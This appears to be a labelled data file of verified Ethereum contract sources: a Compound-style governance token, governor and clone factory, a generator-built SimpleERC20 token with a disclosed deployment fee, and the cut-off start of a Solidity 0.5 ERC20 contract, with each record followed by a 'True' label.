return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } /// @notice Based on Compound Governance. contract GovernorAlpha { /// @notice The name of this contract string public name; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The address of the Governance Timelock TimelockInterface public timelock; /// @notice The address of the Governance token CompInterface public token; /// @notice The address of the Governance Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function init(address _timelock, address _token, address _guardian, string calldata _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) external { require(!initialized, "initialized"); timelock = TimelockInterface(_timelock); token = CompInterface(_token); guardian = _guardian; name = _name; quorumVotes = _quorumVotes; proposalThreshold = _proposalThreshold; votingPeriod = _votingPeriod; initialized = true; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = token.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address payable result) { // adapted for 'payable' clones bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } contract GovernanceFactory is CloneFactory { address public timeLockTemplate; address public governorAlphaTemplate; event DeployGovernance(address indexed token, address indexed timelock, address indexed governor); constructor(address _timeLockTemplate, address _governorAlphaTemplate) public { timeLockTemplate = _timeLockTemplate; governorAlphaTemplate = _governorAlphaTemplate; } function deployGovernance(address admin, string calldata _name, string calldata _symbol, uint _totalSupply, uint timeLockDelay, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) external { /// @dev Initialize governance token. GovernanceToken token = new GovernanceToken(admin, _name, _symbol, _totalSupply); /// @dev Initialize timelock clone. address timelock = initTimeLock(admin, timeLockDelay); /// @dev Initialize governor clone. address governor = initGovernor(timelock, address(token), admin, _name, _quorumVotes, _proposalThreshold, _votingPeriod); emit DeployGovernance(address(token), timelock, governor); } function initTimeLock(address admin, uint timeLockDelay) private returns (address payable timelock) { timelock = address(createClone(timeLockTemplate)); Timelock(timelock).init(admin, timeLockDelay); } function initGovernor(address timelock, address token, address admin, string memory _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) private returns (address governor) { governor = address(GovernorAlpha(createClone(governorAlphaTemplate))); GovernorAlpha(governor).init(timelock, token, admin, _name, _quorumVotes, _proposalThreshold, _votingPeriod); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-06 */ // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-28 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return 